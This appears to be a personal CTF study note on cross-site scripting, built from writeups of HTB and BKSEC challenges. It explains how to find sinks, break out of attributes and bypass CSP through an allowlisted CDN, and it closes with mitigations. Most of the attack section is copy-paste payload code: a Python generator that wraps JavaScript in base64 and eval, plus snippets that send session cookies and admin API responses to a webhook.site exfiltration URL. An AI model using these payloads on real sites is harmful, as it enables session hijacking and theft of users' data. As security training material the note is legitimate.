đź§  Cross-site Scripting

What is it?

  • Concept: The application takes user-controlled input and renders it back into a page (HTML, an attribute, a JS string, a URL…) without encoding it for the context it lands in. The browser can’t tell your payload apart from the site’s own code, so it just runs it.
  • Impact: Whatever the victim’s browser can do, you can now do as them — steal session cookies, forge authenticated requests, read the DOM (CSRF tokens, admin panels), or hijack an admin bot to reach internal endpoints you can’t touch yourself. This is almost always the entry point in CTF bot-based challenges: XSS on the victim → victim’s session does the rest.

This note covers the core mechanic and payload construction. For specific delivery/bypass techniques, see:

How it works

  1. Find a sink — somewhere your input ends up unescaped in HTML, an HTML attribute, a <script> context, or a URL/javascript: context.
  2. Confirm execution with a harmless probe.
  3. Swap the probe for a real payload that does something useful (exfil a cookie, hit an internal endpoint, forge a request) and deliver it to the victim (stored comment, reflected link sent to a bot, DOM sink via postMessage, etc.).

Exploitation

Prerequisites

  • A sink that reflects/stores your input without context-aware encoding
  • A victim to trigger it — either the user themselves, or (in CTFs) an admin bot that visits attacker-controlled/stored content

Attack Vectors

Step 1 — confirm the sink with a cheap probe.

<script>alert(1)</script>
<img src=x onerror=alert(1)>

If <script> gets stripped or neutered but the payload still renders inside an attribute, break out of the attribute first:

apple"><img src=x onerror=alert(1)>

(from HTB - Socrates Panel — the search param was reflected inside a value="..." attribute, so the payload had to close the quote and tag before it could inject a new element)

Step 2 — swap alert(1) for the real payload.

The moment your JS needs quotes, backticks, or gets stuffed into a JSON body / URL param / HTML attribute, raw JS starts fighting the outer context (escaping, weak blacklist filters, length limits). The fix used consistently across writeups here: base64-encode the actual JS, decode and run it at execution time.

<img src=x onerror=eval(atob('BASE64_JS_HERE'))>

This one line is doing three jobs: onerror on a broken <img> fires without needing <script> (useful when <script> tags specifically get stripped), the payload has zero quotes/newlines of its own once encoded (survives JSON bodies, URL params, naive blacklists), and atob+eval reconstitutes it client-side.

Payload generator (copy-paste, adjust EXFIL_URL / internal path):

import base64
 
def make_xss_payload(js_code: str, tag: str = "img", attr_break: bool = False) -> str:
    """Wrap arbitrary JS into a base64+eval XSS payload.
 
    tag:         "img" (default) or "svg" — both support onerror without a body.
    attr_break:  set True if you're injecting inside an existing HTML attribute
                 and need to close it first (e.g. value="INJECT_HERE").
    """
    b64 = base64.b64encode(js_code.encode()).decode()
    payload = f'<{tag} src=x onerror=eval(atob("{b64}"))>'
    if attr_break:
        payload = f'"><{tag} src=x onerror=eval(atob("{b64}"))>'
    return payload
 
EXFIL_URL = "https://webhook.site/YOUR-UUID"
js = f"""
fetch('/api/admin/data')
  .then(r => r.text())
  .then(d => fetch('{EXFIL_URL}/log?data=' + encodeURIComponent(btoa(d))));
"""
print(make_xss_payload(js))

Cookie/token exfil, the two common sinks:

// Image beacon — plain GET, no CORS to worry about, works even against strict CSP img-src
new Image().src = "https://webhook.site/YOUR-UUID?c=" + document.cookie;
 
// fetch — use when you need to read a JSON/HTML response body first, not just steal document.cookie
fetch('/api/auth').then(r => r.json()).then(d => new Image().src = 'https://webhook.site/YOUR-UUID?flag=' + d.flag);

Notes

  • Getting the payload in front of a victim/bot (staging pages, forging the report/share request that triggers the bot, catching the exfil server-side) is a separate concern from the payload itself — that’s Cross-site Request Forgery territory, not XSS.
  • <script> blocked but a CDN is allowlisted in CSP? Don’t fight eval/unsafe-inline restrictions — load a framework from the allowlisted CDN and drive it with its own directives instead of raw JS. Seen in BKSEC - Report the Violation 2 and BKSEC - Report the violation: <script src="https://cdn.jsdelivr.net/npm/alpinejs@3/dist/cdn.min.js"></script> then use Alpine’s x-init/x-data to execute logic without ever touching eval. See (incomplete) Client-side Template Injection.
  • Blacklist filters are usually incomplete, not absent. BKSEC - Report the Violation 2’s changelog literally admitted to a “Remove ineffective filter” — don’t assume one blocked payload means the sink is dead, enumerate what’s actually stripped.
  • Client-side length limits are not server-side limits. If a field looks capped in the UI (e.g. a 200-char message box), check with Burp whether the cap is enforced server-side before assuming the field is too short for a useful payload.
  • window.open + timing tricks can be used to smuggle a second stage in when you can’t directly control what the bot navigates to — see the two-window pattern in BKISC CTF - Secure Notes where a setTimeout was used to sequence “open victim page” → “trigger server-side state change” → “navigate”.

Mitigation

  • Context-aware output encoding, not one blanket escape — HTML-entity encode for HTML body context, JS-string-escape for inline script context, URL-encode for URL context. A filter tuned for one context will leak in another.
  • Allowlist-based sanitization (e.g. DOMPurify) over blacklisting tags/attributes — blacklists rot the moment someone finds the one tag/handler you forgot (see the Notes above).
  • Strict CSP: nonce- or hash-based script-src, no unsafe-inline, no unsafe-eval, and be deliberate about which CDNs you allowlist — a broad CDN allowlist hands attackers a legitimate framework to run logic with, as above.
  • HttpOnly + SameSite cookies so a successful XSS still can’t read document.cookie directly, capping the blast radius even if a sink slips through.
FileCreated
BKISC CTF - Secure NotesSunday, May 10th 2026, 9:07:52 am
BKSEC - Report the violationTuesday, February 17th 2026, 11:01:44 pm
BKSEC - Report the Violation 2Monday, February 23rd 2026, 9:50:38 pm
HTB - Socrates PanelFriday, May 22nd 2026, 2:43:18 pm
HTB - Tornado ServiceWednesday, April 15th 2026, 7:51:50 pm
HTB - Volnaya ForumsFriday, May 22nd 2026, 2:43:18 pm
SekaiCTF2026 - <w+Friday, July 17th 2026, 4:24:02 am
UMassCTF - Turncoat’s TreasureMonday, April 13th 2026, 9:48:21 pm